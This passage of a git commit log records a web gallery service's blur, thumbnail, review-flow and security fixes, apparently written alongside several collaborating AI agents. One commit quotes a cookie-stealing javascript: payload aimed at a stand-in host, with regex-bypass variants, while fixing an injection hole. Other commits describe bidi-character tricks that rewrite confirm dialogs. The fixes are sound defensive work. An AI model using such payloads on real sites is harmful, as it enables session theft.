storage and CLI are already landed so only the control is missing, that the Desk
exposes 84 images across 22 booths on the first page (which is WHY blur got
re-prioritised), and that the operator explicitly declined to have the
sindra-nude-* booths blurred on his behalf.

Also records that the hover ruling only looked like it reversed design-dev's
argument — he resolved it with @media (hover: hover) rather than anyone being
overruled, so it should not be re-raised as a conflict.
 2026-09-23 17:27:09 -07:00
vh a9e71108a7 feat(cli): booth blur <name> with no files fogs the whole booth 
The operator: "per booth blurring is now important since we are showing up to 4
images."

The Desk is why. Measured on the live set: 84 images across 22 booths on the
page he opens first, 10 of them blurred. Before the redesign the index showed
one cover per booth; four-up multiplies the exposure by four, and NOTHING POSTED
BEFORE THE REDESIGN OPTED INTO THAT.

The storage landed with the flag; this is the half that makes it usable before
design-dev's control ships. Seventeen handles call this script, so a session
posting sensitive work can self-blur AT POST TIME — which is the durable fix,
because the operator should not have to police 22 booths by hand.

No files named means the whole booth, which is the mental model already: `blur
<name> <file>...` was per item and required two arguments, so one argument could
only ever have been an error. COMPOSES with the per-item list: `unblur <name>`
clears the flag and leaves individual choices exactly as they were, the same
promise the resolver makes.

Also records both rulings routed this turn: x hides with the other Desk
controls, and the theme toggle reaches the chrome inside verbatim pages.

Verified under the system python3 with no venv, which is the only way most
callers ever run it.
 2026-09-23 17:25:12 -07:00
vh c1108a1966 feat(blur): a booth can be fogged as a whole, composing with per-item blur 
The operator ruled booth-level blur in and chose reading A for the reveal
("A is fine"). design-dev specced the semantics and owns the controls; this is
the storage half.

COMPOSES, NEVER OVERRIDES. An item is blurred iff the booth is blurred OR it is
in .blurred, so turning booth blur off leaves an agent's per-item choice exactly
as the poster left it. An override would need a per-item "unblurred" exception
list, which is state nobody can see.

Resolved in booth_items, so every surface inherits it for free — Desk strip,
tiles, flag tray, filmstrip, stage all already read Item.blurred and none of
them learns the booth flag exists (INV-1). Images and video only; audio has
nothing to hide from a glance.

A MARKER, deliberately not JSON. `.seen` is JSON because it holds rels that must
round-trip exactly; a boolean has nothing to round-trip, and matching `.forever`
means the two whole-booth flags read the same way. We told design-dev it would
be JSON and it should not be — said so rather than quietly shipping the other
thing.

is_booth_blurred mirrors is_kept's lstat shape WITH THE SAFETY INVERTED, and the
inversion is the point: is_kept fails toward keeping because a failed read must
not authorise a delete; this fails toward HIDING, because a failed read must not
reveal something a poster asked to fog. Both are "the failure does not cause the
loss".

Also records the operator's 2026-09-23 ruling that there is NO 1.0 yet, and adds
.blurbooth to CLAUDE.md's dotfile list. 766 green.
 2026-09-23 17:06:37 -07:00
vh 65e7dc2a4e fix(board): a link row could rewrite the dialog that authorises its deletion 
Found by design-dev, the same class as the wipe dialog he had just fixed on the
Desk, and reported across the fence rather than kept.

A board row's description and URL are written by any of seventeen agent handles
and were pasted RAW into the `confirm()` the operator reads before approving a
delete. A bidi override (U+202E) or a newline in either re-orders or hides what
he is consenting to, so the row shown is not the row removed.

Escaping does nothing here and that is the trap: autoescape protects the PAGE,
but `confirm` renders a plain string, so the markup defence everyone reaches for
first is irrelevant to the surface that actually carries the decision.

Control and bidi formatting characters now render as U+FFFD — visibly mangled,
never silently re-ordered — through the same helper shape design-dev used, so
the two dialogs cannot drift apart.

Both arguments go through it, and the mutation row defeats exactly that: taking
the raw description back for one of the two turns the test red. 763 green.
 2026-09-23 11:31:20 -07:00
vh 995e7b9686 merge(desk): release and wipe move onto the facts line 
The operator: "release and x take up space whether or not they're visible."
Confirmed — opacity:0 hid them while still reserving about 100px of side column
and a 36px row. Each control now sits beside the fact it changes ("kept ·
release", "expires in 22h · keep"), always visible, taking no room of its own,
and nothing hides behind a hover that touch screens never had.

d40e8fd is the change; 704e8cd is its heid bug-hunt fold (round Slate):
coarse-pointer touch targets at 28px with wipe clear of zip, control and bidi
characters shown as U+FFFD in the wipe dialog, an unknown data-confirm word
prompting rather than submitting unguarded, and the CSS "code" rule wrapping
anywhere so a long unbreakable install path in the footer stops widening every
page, the Desk included.

A surgical change that still went through a bug-hunt, which is the discipline
paying for itself: the last item was a latent overflow already on main that only
became visible once the row was a flex container.
 2026-09-23 11:28:53 -07:00
vh 704e8cd809 fix(desk): the heid bug-hunt panel on the row controls (round "Slate", 4/4) 
- Touch: on a coarse pointer every row control is at least 28px square
  again (32px), and wipe stands clear of the zip link. The move onto the
  facts line had dropped the deliberate 28px floor to ~21px, 4-6px from
  zip; with scripts off no confirm fires, so a mis-tap on wipe is the
  delete. The zip link no longer breaks between its glyph and its word,
  and each separator is glued to the item after it.
- The wipe dialog shows the name as it should be read: control and bidi
  formatting characters in an agent-made name show as U+FFFD, so U+202E
  or a newline cannot rewrite what the operator approves. An unknown
  data-confirm word now prompts generically instead of submitting
  unguarded (fail closed).
- No page scrolls sideways: `code` wraps anywhere, so a long unbreakable
  install path in the footer or the empty Desk no longer widens every
  page. The overflow test now sweeps 390/720/850/1000/1400 with the
  heaviest row the Desk draws, and compares scrollWidth with the page's
  own clientWidth.

Its first fixture used a hyphenated path, which wrapped by itself; the
test passed with the bug present until the path became one unbreakable
run. r2_flow.toml: 27/27 proved. 749 passed.
 2026-09-23 11:27:34 -07:00
vh 70bfff15cf memory: the cache that aged the thing it cached 
Two lessons from the thumbnail work, the second of which nearly shipped.

We parked progressive loading on a count of images and the cost was in bytes.
'Measure the real booth before optimising it' was followed and still gave the
wrong answer, because we measured the dimension that was easy to measure rather
than the one the user feels.

And a cache living inside the thing it describes can age that thing. Excluding
every path under the cache dir passed its own test and was still wrong: creating
the directory touches the BOOTH's own mtime, which is what _newest_mtime seeds
from. The contents were excluded; the existence was the leak. Had it reached the
Desk, one index load would have pushed every booth's expiry out and the TTL
would never have fired again.
 2026-09-23 10:58:21 -07:00
vh d40e8fd4a6 fix(desk): a row's keep, release and wipe take no room of their own 
Operator, on the live Desk: "release and x take up space whether or not
they're visible." They sat in a side column at opacity 0, which hides a
control and still reserves its box, and hover-only never worked on
touch.

Each control now sits on the facts line beside the state it changes:
release after "kept", keep after a countdown or hold, wipe last. They
are always visible and quiet, and wipe turns danger only under the
pointer or focus. The side column renders only when the row carries a
badge. The row is flex, so an absent column costs no gap. Forms, POST
targets and data-confirm wording are unchanged.

The flex row exposed a latent sizing bug: the stacked Desk column was a
bare 1fr, whose minimum is its content's, so a long nowrap provenance
line scrolled the page sideways at phone width (1029px at 390). It is
now minmax(0,1fr).

Both behaviours have browser tests, mutation-proved (r2_flow.toml:
21/21). Contract C4 amended.
 2026-09-23 10:58:15 -07:00
vh ff35023377 test(flow): the Desk strip asserts the thumbnail, and says why it moved 
design-dev's test read 'the originals shown small (no generated thumbnail)',
which was true when written and is precisely what the operator rejected: four
images per booth on the page he opens first was the heaviest surface in the
service.

Declared rather than quietly edited, per the rule that an existing assertion is
not changed to make a change pass. The behaviour genuinely changed, on his own
instruction to swap all four small surfaces in one commit.

Worth recording in the docstring: the URL carries ?thumb=1 from the EXTENSION
alone, with no disk read, so a tiny stub fixture still gets the parameter and
the route serves the original when there is nothing worth generating. The URL
never depends on what is on disk.

39/39 falsifiers proved across both mutation tables.
 2026-09-23 10:57:04 -07:00
vh 9aa91d5dc7 merge(r2 follow-up): the EACCES blast radius, and r2's falsifier table 
design-dev's two follow-up commits on the R2 branch.

167f265 is PRE-EXISTING and his to have found, not his to have caused:
Path.is_file() swallows ENOENT but PROPAGATES EACCES, so one folder with r--
and no x in one booth made booth_items raise — and list_booths calls it for
every booth, so the index 500s for all of them. Identical blast radius to the
0xff filename the bug-hunt panel found, arriving through a different syscall.

39a3cb2 commits R2's own falsifiers as tests/mutations/r2_flow.toml, 18 rows.
Its first run caught three vacuous proofs, which is the fourth time this week
that running the mutation has disagreed with reading the assertion.

vh 18d599dd2a fix(thumbs): the cache aged the booth it cached, and two more surfaces 
Two corrections to the thumbnail work, the first of them a live bug shipped an
hour ago and caught by design-dev before its worst form landed.

⚠ GENERATING A THUMBNAIL RESET THE BOOTH'S EXPIRY CLOCK. `_newest_mtime`
excludes `.lock` sidecars because machinery is not the operator doing something;
the thumbnail cache is machinery too, and it is written by the SERVER on a mere
view. Excluding the cache's CONTENTS turned out not to be enough — creating
`.thumbs/` touches the BOOTH DIRECTORY's own mtime, which is exactly what
_newest_mtime seeds from. The booth's stamp is now restored across the mkdir,
which cannot hide real activity because any file an agent adds is counted by its
own mtime in the same walk.

The failure this prevents is not small. Once the Desk's preview strip pulls a
thumbnail per booth, ONE INDEX LOAD would have pushed every booth's expiry out
and the TTL would never have fired again — nothing would ever sweep. It was
already live for the gallery, one booth at a time.

TWO MORE SURFACES, because the fix only helped where it was wired:

  Desk preview strip  four small images per booth on the page he opens FIRST.
                      design-dev measured 28 originals / 24.1 MB on a 12-booth
                      copy; live has 28. The heaviest surface in the service,
                      heavier than the gallery it previews.
  flag tray           _marks.html rendered originals as tray thumbnails.

The review stage stays on the original, because that is the full-size review.

754 green plus the new guards.

vh d5e23c7d5f perf(thumbs): the gallery shipped 77 MB to render 250px tiles 
The operator found this in about a minute of using the live Desk: "images load
at full resolution instead of calculated thumbnails, which means they load VERY
slowly and are tiny."

MEASURED on the live set:

    sindra-corpus-v1   66 images   77.5 MB   1024x1024 each
    sindra-sfw-pool    59 images   71.7 MB
    sindra             30 images   61.6 MB   2.1 MB average
    sindra-bakeoff     40 images   57.2 MB

A tile renders around 250px, so the grid shipped roughly 16x the pixels that
reach the screen.

⚠ OUR PARKING RATIONALE WAS WRONG IN AN INSTRUCTIVE WAY. ROADMAP parked
progressive loading on "the largest gallery is 66 images; at that size a lazy
grid is almost certainly fine", and the parking-lot row said "270 <img
loading=lazy> may be fine". Both count IMAGES. Neither weighs BYTES. We measured
the dimension that was easy to measure rather than the one that determines the
experience, and 66 really is a fine count sitting on a terrible payload.

booth/thumbs.py caches WebP at 512px longest side inside the booth at
`.thumbs/<rel>.webp` — inside on purpose, so a cache can never outlive what it
describes. Pillow is an optional import: absent, every tile falls back to the
original, so the page is heavier and never broken. Generation is lazy, atomic
(temp + os.replace), rebuilt when the source is newer, and NEVER RAISES.

?thumb=1 rides the EXISTING file route rather than growing a new one, because
that route's traversal guard is already correct and a second route is a second
place to get it wrong.

ALSO FIXES A PRE-EXISTING LEAK THE CACHE WOULD HAVE WALKED INTO. booth_items and
zip_booth both tested `p.name.startswith(".")` — the FILE's name — so
`.thumbs/a.png` (name `a.png`) would have rendered as a gallery item and shipped
inside every zip. CLAUDE.md invariant 2 promises a dotfile costs nothing in item
counts, galleries or zips; that was true only at the top level. Both now skip
every dot-prefixed path COMPONENT.

AND THE FILMSTRIP, which is the same defect in a worse place: it shows EVERY
ring item at a few dozen pixels, so full-resolution frames there cost more than
the grid did. The stage is untouched and stays full size, because that is the
full-size review.

Item.thumb is derived in the resolver, not by a template reasoning about `kind`
(INV-1). build_gallery had to carry it too — a missing key there rendered as a
SILENT fallback to the full image, which is exactly where a new Item field gets
dropped with nothing failing.

754 green.

vh 39a3cb2262 test(r2): commit the round's falsifiers as a mutation table; one flag predicate 
tests/mutations/r2_flow.toml: 18 falsifiers, each proved RED under its
change by scripts/mutation_check.py (18/18). Its first run found three
vacuous proofs, now resolved:
- landed_at's per-entry skip: the symlink-loop fixture stopped raising
  once the clock moved to lstat. New fixture: a folder that lists but
  cannot be searched.
- the Desk's bench URL guard: the test covered bookmarks only. A
  hand-edited registry bench now rides with it.
- flagged_targets' `error is None`: defence in depth (hydration already
  strips a damaged mark's target), so no single-guard row; named in the
  table header instead.

The rail's flagged filter and the orphan-flag list read flagged_targets
rather than restating it; no reachable behaviour changes.
 2026-09-23 10:38:02 -07:00
vh 167f2657c5 fix(items): an entry the walk cannot stat costs that entry, not every page 
Path.is_file() swallows a missing entry but propagates EACCES. A
directory with read and no execute permission lists its names while
every stat under it raises, so one such folder in one booth raised out
of booth_items — and list_booths calls that for every booth, taking the
index down for all of them. The same blast radius as the
unrepresentable-filename case; the same posture applies: such an entry
is not a renderable file.

Predates R2 (identical on main before the merge); found while folding
R2's bug-hunt, where it made landed_at's per-entry skip unreachable.
 2026-09-23 10:38:02 -07:00
vh 447a9b67e9 fix(links): the board rendered agent-written javascript: hrefs 
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so

    javascript:document.location='http://evil.test/'+document.cookie

was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.

links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.

THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.

Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.

Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
 2026-09-23 10:34:22 -07:00
vh f43a41fb49 docs(roadmap): R2's nine ordering rows, and the zoom-ring row REPLACED not amended 
Lifted from r2_flow's INV-2 table rather than rewritten, so the contract and the
roadmap cannot drift into two statements of one rule.

The zoom-ring row is replaced because review_chain filters to media, not
images — 'filtered to images' is now false, and a stale row is invariant 6
failing quietly, which is the only way it ever fails.

The ordinal row is the one worth reading: an ordinal counted across ALL items
makes '#07' the same tile under every filter. The operator refers to artifacts
positionally, and the filters we shipped in U7 had quietly broken that — 'the
third one' meant something different depending on which filter was on. Nothing
on our side noticed; design-dev proposed it unprompted.
 2026-09-23 10:29:09 -07:00
vh 225570623d docs: the dotfile list gains .seen, and names the shape a new one should copy 
Held until the merge deliberately: this file describes what is deployed, and
writing it while the code sat on another agent's branch would have made our
canonical convention document describe a service that was not running.

Also records a latent bug the R2 work surfaced in code it did not touch.
.blurred stores one stripped rel per line, so a rel carrying a leading space or
a newline does not round-trip and blurring ' a.png' can blur 'a.png'. .seen was
written as a JSON array for that reason, and additionally opens O_NOFOLLOW |
O_NONBLOCK with an S_ISREG check so a planted symlink is refused and a FIFO
cannot hang the read — the outage this repo has already paid for once. New
dotfiles inherit .seen's shape, not .blurred's.
 2026-09-23 10:28:52 -07:00
vh 1ddd1c5654 merge(r2): the review flow — the Desk, the lightbox, the reel 
design-dev's R2, built against the operator's 2026-09-23 rulings (a_b /
this_arc / plain / no emblem) and handed over clean. Merged, not rebased: the
branch is another agent's work and its seven TDD commits are the record of how
it was built.

Full house discipline on his side, all complete: contract, heid contract panel
(Lark) folded, seam review against the real modules, TDD slices C1-C7, heid
code-review (Wren) 4/4 folded, heid bug-hunt (Nyx) 4/4 folded. Every new browser
test mutation-checked against its own fix.

Reviewed here before taking it, on the three things only this side knows:
  - the quote() guard in the collection loop is intact (it looks like a stray
    try around a discarded call, which is how it would get tidied away; it is
    what stands between one 0xff filename and a 500 on every booth's card)
  - Item.ordinal is APPENDED, not inserted — the mistake we made with
    Item.group and two bug-hunt arms flagged
  - image_chain stays importable and unchanged; review_chain supersedes it only
    for the review route

.seen came back better than specified: O_NOFOLLOW | O_NONBLOCK plus an S_ISREG
check, which defeats a planted symlink AND the FIFO-with-no-writer hang that
cost this service an outage once already, and a JSON array so a rel carrying a
leading space or newline round-trips exactly.

The zoom ring is now review_chain (image, video and audio) rather than
image_chain. That is a declared ordering-rule change and ROADMAP's table moves
with it.
 2026-09-23 10:25:20 -07:00
vh 77833dc6d4 fix(r2): the heid bug-hunt panel (round "Nyx", 4/4) — triaged and folded 
In-place client (base.html):
- Saves are serialized: POST, re-fetch and swap complete before the next
  save starts, so an older snapshot can no longer land after a newer one.
- A form already queued or in flight ignores another submit; a
  double-click writes one note.
- Dirty controls (drafts, unsent radio choices) and disclosures carry by
  identity (form action + hidden ask/target/mark/f + name), not position.
- Any non-tile structural difference, or a page with no region to swap,
  reloads instead of patching.

Server and templates:
- .seen is a JSON array read without following links or blocking,
  regular files of at most 1 MiB only; malformed, nested-too-deep or
  planted markers read as nothing seen.
- landed_at reads symlinks by lstat and skips one unreadable entry
  instead of pinning the booth in "new".
- The Desk counts flags on current items only; orphan flags are listed
  under the tray with an unmark form.
- Agent-written bench and bookmark URLs link only when http(s).
- Audio and video tiles carry a review link.
- A rel the filesystem cannot represent is a 404, not a 500.
- A non-finite Accept q-value fails to parse.
- The standalone marks page has regions and updates in place.
- The review's next arrow sits at the edge at phone width.

Contract amended for each, plus an accepted-risks section (unlocked
.seen read-modify-write, a planted .viewed symlink, Item.ordinal with
no default).

741 passed. Each new browser test was mutation-checked against its fix;
the serialization test forces the race with a held first refresh, since
localhost alone never lost it.
 2026-09-23 10:22:51 -07:00
vh fa5d46443d fix(r2): the heid code-review panel (round "Wren", 4/4) — triaged and folded 
Code fixes:
- The narrow-screen fold was specified and never built (4/4). The tray and
  notes are now closed <details> in the aside; above 1000px CSS alone
  (::details-content) shows them and hides the summary. There is no
  script. Browser-tested at 390 and 1400, JS on and off.
- The lightbox gated on parsed board rows, not page identity (3/4). It now
  uses is_board, the lesson the bench panel already carried.
- wants_json returned True at the first good entry, so a malformed later
  entry was never read (3/4). It now parses every entry first; any error
  is False.
- One flag predicate, flagged_targets. It serves the Desk count, the tray,
  the filmstrip, the tape and the review button. An unreadable flag entry
  counts nowhere.
- The header's open count and lifetime line, and the no-set marks panel,
  are now regions (they were stale after an in-place answer).
- Inline group headers render only when every group is one contiguous run.
  Interleaved directories no longer reprint or misfile headers.
- A booth held unreadable has no open_since, even with a readable pick
  beside the damage.
- The swap marks an absent region is-stale instead of leaving it looking
  current. It carries disclosure state (except the sent form's). The
  failure message is readable for 0.9 s before the reload.

Contract amended where the code was right and the text was not: the
wants_json and record_seen signatures, landed_at's three refinements, the
group position being ring-based, the end of the set offering every other
open pick, the Space-key player exception, and the fold mechanism.

New tests cover the parse order; a board with media; the header region; the
no-set panel; interleaved groups; mixed damage; the flag predicate; the
review recording .viewed; the fold at two widths with JS on and off; the
status message before the reload; a lost response after a landed write
(exactly one note); a stale absent region; stage node identity across a
swap; and F with a radio focused. The lost-response and stale tests turn
red under their mutations. 724 passed.
 2026-09-23 09:41:18 -07:00
vh 881c7f5df3 docs(r2): correct the provenance of the rewritten keyboard-flag test 
The gallery's POST-303-reload was the no-JS design working, and it still
is (the INV-4 golden pins it). The defect was the full-size ejection. The
test's docstring and the contract's assertions table now say so (booth-dev
review).
 2026-09-23 09:14:41 -07:00
vh 2511aab3d6 memory: a third way an instrument goes blind — nth-child vs nth-of-type 
Credited to design-dev. His R2 order check has a positive control — one tile
given order:-1 that the check must catch — and the control went blind when group
headers became grid children: nth-child(5) started landing on a header rather
than the fifth tile.

Same class as the two defects already in this file. A control that no longer
controls reads exactly like a passing test; nothing in the output distinguishes
'detected nothing because there was nothing' from 'detected nothing because I am
aimed at the wrong element'.

The rule: nth-of-type over nth-child wherever the assertion means the Nth TILE
rather than the Nth child element. They agree until somebody adds a sibling of a
different kind, and adding siblings is what a redesign is.
 2026-09-23 09:14:32 -07:00
vh 8acd10a8d2 refactor(r2): drop the kept/ephemeral card CSS; contract marked BUILT 
The index no longer renders cards or lanes. Their rules, and the absolute
positioning the keep/wipe controls needed to float over a thumbnail, are
gone. The controls keep their shared button base; the Desk row and the
booth header place them. The contract is marked BUILT on the branch,
pending heid code-review and bug-hunt.
 2026-09-23 09:10:34 -07:00
vh f8cb1b29af feat(r2): C6 the review, and C7 
- The zoom route becomes the review for image, video AND audio: the native
  player on the stage for sound and video, the Fit/1:1 toggle for pictures
  only. The judgment rail, the tape and the filmstrip are each a data-region.
  The stage never is, so a playing track survives an in-place save.
- The rail shows the whole-set number, K of M in the review ring and the
  position in the group; then the caption, and the flag and notes, landing
  back here (back=view). A pick targeting this item is answerable in place.
  On the last item the end-of-set block lists what was seen, the flags, and
  every other open question.
- The keys are ← → Space F N Esc. Every one is ignored in an editable field,
  and Esc returns to the grid at the tile you were on.
- _marks.html gains picks_only/back_view, so a pick form has one renderer
  wherever it sits.
- In-place swaps now carry an unsaved draft across. A half-typed note
  survives a flag, except in the form that was just sent.
- The filmstrip keeps the current frame in view.
- C7: no emblem in the chrome, pinned.

Browser tests cover: F typed into the note stays a letter and does not
flag; F outside the note flags in place and the draft survives; Space
moves; Esc lands on the grid tile. 706 passed.
 2026-09-23 09:06:15 -07:00
vh 50f88a3e5e feat(r2): C5 the lightbox, and the in-place client 
- On a gallery booth the marks panel moves into a sticky verdict aside
  beside the set. The aside comes first in the document, so a narrow screen
  stacks the question above the work; grid areas place it on the right when
  wide. Nothing in an ordered collection moves. Boards are unchanged.
- The flag tray lists flagged items by tile number: the declared change
  from the panel list's (created, id). The standalone marks page keeps the
  list.
- Inline group headers are divs, never figure.item.
- Every mark-dependent element is a data-region: the verdict, each tile,
  the rail's filter counts. There is also a server-rendered status line.
- The in-place script (base.html) POSTs with an explicit JSON Accept, then
  on 204 swaps every region from a fresh GET. Live media and per-viewer view
  state are carried across the swap, so there is no layout jolt and no
  stopped track. It never re-POSTs: on failure it says so and reloads. Tile
  controls re-bind after a swap, and the grid cursor survives it.
- The `n` key opens the tile's closed note disclosure before focusing it.
- test_embed_browser's keyboard-flag test expected a navigation, which is
  the defect R2 removes. It is updated as declared in the contract, and
  tightened: a window marker must survive, proving no reload.

Browser tests: flag in place, with no reload and no scroll jump, and the
tile, tray and rail count all updated; and a failed save that reloads
without re-POSTing. Two mutations turn them red (no carry, no rail region).
700 passed.
 2026-09-23 08:57:36 -07:00
vh ce27b06f32 feat(r2): C4 the Desk — the index triaged by what needs the operator 
- list_booths gains open_since (parsed, never compared as text), flags,
  landed_at (content only; a new, differently named clock, INV-5),
  viewed_at, and a four-image preview that keeps blur.
- The index renders needs you / new since you looked / everything else,
  always in that order. Needs you includes unreadable marks, so a damaged
  judgment file cannot hide. Everything else keeps list_booths' order
  rather than stating a second rule. An empty section renders nothing.
- The side column holds live benches (a damaged registry says so),
  bookmarks from BOOTH_LINKS_BOARD with booth URLs left out (capped at 8),
  and the pickup form.
- test_booth's kept-lane test is rewritten as the contract declared: kept
  is a fact on each row, not a lane.

Two of the new tests were VACUOUS on their first draft, and mutation-
checking caught both. The clocks test used a future t0, so a hand-set
marker outranked every real write. The look-then-judge test followed the
flag's 303, and the resulting GET recorded a fresh look. Both are fixed
and now go red under their mutation.
 2026-09-23 08:45:54 -07:00
vh b9750d221a feat(r2): C3 server side — 204 on an explicit JSON Accept, and back=view 
- wants_json: true only for an exact `application/json` entry with q > 0.
  Absent, empty, wildcard, application/*, near misses, q=0 and malformed
  headers all fall through to the 303.
- The four mark routes share one exit, _mark_done: 204 with no body for the
  in-place client, otherwise _mark_redirect unchanged.
- back=view lands on /b/<name>/view?f=<rel>#rail, only for a media item of
  this booth. It is built from the resolved rel and never echoed. Anything
  else takes the no-`back` landing.
- tests/golden/r2_mark_303.json: 108 responses recorded from the PRE-R2
  code (6 route cases x back absent|marks x 9 non-JSON Accepts), replayed
  byte for byte (INV-4). Two mutations (q>=0, substring match) turn it red.
- The contract now states the q=0 rule.
 2026-09-23 08:36:54 -07:00
vh 277554a3f7 feat(r2): C1 ordinals and C2 the review ring and .seen 
- Item.ordinal: the 1-based position in booth_items over the items that
  render. It is appended, and set in the resolver. Tiles print it padded to
  the whole set's width, and a filter never renumbers.
- review_chain: the item order filtered to media. It replaces image_chain as
  the zoom route's ring, so a set of pictures and sound steps through both.
  image_chain stays importable.
- .seen: which media items were looked at full size, written by the review
  route under record_view's gate. It is rewritten whole: deduplicated, pruned
  to live items, sorted. The temp file is created with O_EXCL and swapped in
  with os.replace, so a planted symlink is replaced, never written through.
  It never raises.

Nine new tests. The contiguity and symlink tests are mutation-checked.
669 passed.
 2026-09-23 08:32:38 -07:00
vh 7a4d3fcbf8 docs(contract): r2 — fold the heid contract panel (round "Lark", 4/4 arms) 
Triaged, not adopted wholesale. Folded:
- Reviewing refreshes .viewed, as it already did. It is now stated, so the
  two clocks cannot read as disagreeing.
- INV-4 is scoped to pre-R2 request shapes. back=view is the declared
  exception.
- back=view lands on the review only for media items. Anything else falls
  back to the booth page.
- In-place regions: every element whose content can depend on marks is a
  region, including the rail counts, the filmstrip and the tape. The stage
  never is.
- The script never re-POSTs. A lost response must not duplicate a note or
  re-date an answer.
- The dangling "invariant 5" now points at the Booth's CLAUDE.md invariant 5.
- "M" is defined once. Needs-you is picks only. Every key is suppressed in
  editable fields.
- The toggle and the narrow collapse are classified against INV-3.
- Every Booth state file is a dotfile, stated. So are "no generated
  thumbnails" and the audio placeholder.
- The requirement wording is tightened, and C7 records the voice and emblem
  rulings.

vh ea44c18d42 docs(contract): r2 — fold booth-dev's items.py notes and the empty-section negative 
Ordinal is appended, not inserted. The quote() guard stays, and skipped
items take no ordinal. Empty Desk sections do not render; this carries
forward the negative half of the kept-lane pair. The 1:1 toggle is bound
only when the stage is an image.

vh 051599a30e docs(contract): r2 — the review flow: the Desk, the lightbox, the review 
PROPOSED. Ruled by the operator 2026-09-23 (flow: a_b, compare this_arc,
voice plain, emblem no). Compare is not in this contract; it follows as r3.
Seam-reviewed against the live module surfaces before the cross-frontier
contract panel returned. Four findings are folded in: Mark.created is a
string, the board is BOOTH_LINKS_BOARD, the bench-read error state, and an
unreadable marks file counting as needing the operator.
 2026-09-23 08:15:32 -07:00
vh bf55364920 fix(theme): at phone width the JS-off rail fallback is the measured worst case 
booth-dev suggested this. At or below 480px, .item's scroll-margin
fallback is 205px, the 16-group rail measured at 390px. With JS on,
--rail-h is exact and nothing changes.

Measured on the same 76 jumps:
- JS off: 0 under the rail, previously 19. At 390px, where a short rail
  gets the full fallback, tiles overshoot by at most 74px, and they stay
  visible.
- JS on: unchanged, 0 under.

660 passed; visual order still matches document order on 32 renders.
 2026-09-23 08:12:54 -07:00
vh e8e49ceb14 fix(theme): a group jump lands its tile below the sticky rail, not under it 
Heid bug-hunt finding (Gróa, relayed by booth-dev). The rail is sticky
and nothing set a scroll margin, so a fragment jump left the target tile,
and the :target reticle that marks it, hidden under the rail.

The rail wraps, so no CSS value can know its height. A small additive
script publishes the measured height as --rail-h, and a ResizeObserver
keeps it current across widths. .item's scroll-margin-top adds 12px to
that. With JS off, a 120px fallback applies.

Also styles the new empty-filter row (397ea89): the filter name in
heading ink, and a gap before the way back.

Measured, 76 group jumps across 2 booths x 4 widths (rail 48-205px):
- JS on: 0 under the rail, minimum clearance 11px.
- JS off: 0 at desktop widths. 19 at 390px, where a wrapped rail is
  143-205px tall and taller than the fallback.
Positive control: the pre-retheme skin fails 74/76.
Merged onto main 1826d19: 660 passed, mutation_check 20/20.
 2026-09-23 08:12:54 -07:00
vh 744fa5263e feat(theme): SVOS retheme — concept-round candidate 
Re-skins every Booth surface in the SVOS design system (design-systems
palettes/svos @ ed2f8d8). Visual and interaction layer only: no route,
no copy, no ordering and no information-architecture change.

- _svos_tokens.css: SVOS semantic tokens vendored by copy, with the four
  [data-theme] scopes re-scoped onto prefers-color-scheme and
  prefers-contrast (dark, light, dark-hc, light-hc). Included into
  base.html's <style>; cached at startup like every other template.
- base.html: the accreted Australis sheet is rewritten against semantic
  tokens only. It also fixes four undefined variables (--line, --bg,
  --fg, --muted) that the keep/blur/reveal controls had been reading.
  The three SVOS devices each have exactly one job: reticle = selection
  (grid cursor, :target, picked option), hazard = irreversible (Wipe
  now, armed bulk delete), glow = live power (service dot, live bench).
- The flag list renders as wrapped chips, so a large flag set no longer
  pushes the grid below the fold. The list order is unchanged.
- IBM Plex Sans + JetBrains Mono load via Google Fonts with
  display=swap and system fallbacks (approved by booth-dev).
- view.html, doc.html: inline styles moved onto tokens.
- embed.js: fragment palette as custom properties scoped to .bk-ask;
  `.bk-ask-opt:has(input:checked)` still appears exactly once.
- Favicon (base.html + app.FAVICON_HREF, kept in sync): graphite tile
  with reticle corners.

Verified: 642 passed, the same count as the pre-change baseline.
Visual order matches document order on 32 renders (4 booths x 4 widths
x 2 schemes). A positive control, one tile given `order:-1`, is
detected by the same check.

vh b46ac02be2 docs: the four flow rulings, compare unparked, and the beta premise superseded 
All four ruled, all four taking design-dev's recommendation, relayed via Miranda
with booth-dev as sole relay. Verbatim copy committed at docs/rulings/ because
the booth holding it will sweep.

Which is the observation worth keeping: answering a pick removes the hold that
was protecting the record. A booth is held while its question is OPEN, so its
lifetime is shortest exactly when it has just become valuable — before the
answer it is a question, after it is the record of a decision, and only the
first state is protected. Both design booths hit this by different routes, one
withdrawn and one answered. Raised to design-dev as a flow question rather than
patched, since flow is his now.

Compare mode leaves the parking lot: our deferral, his overrule, recorded as his
call so nobody re-parks it by reading the older rule.

And v1.0.0b1's 'no new features' promise no longer describes the arc. The tag
stays as written — rewriting a released tag to flatter the present is how a
version stops being evidence — an alpha drop-back is illegal because 1.0.0a2
sorts below 1.0.0b1, and no further pre-release is cut until the arc lands.
 2026-09-23 08:12:05 -07:00
vh f87976b54d memory: correct a review point we got wrong, rather than leave it to be re-asserted 
We read design-dev's 'SET order' as 'the order they were set in' and told him it
was already (created, id). He meant the SET's order — by tile number — which
genuinely differs: flag #15 then #07 and today's panel lists #15, #07 while his
tray lists #07, #15.

His rule is also cleaner than the one we proposed. The flag set sorted by its
target's position in sorted(rel) is a total order needing no tie-break at all,
because rels are unique. The memory row now says so explicitly and tells the
next session not to re-raise the point.

Round 1's booth is kept; he releases it once the flow ask is ruled.
 2026-09-23 07:21:19 -07:00
vh af57933255 memory: round 2 is up, and the ordering review that preceded it 
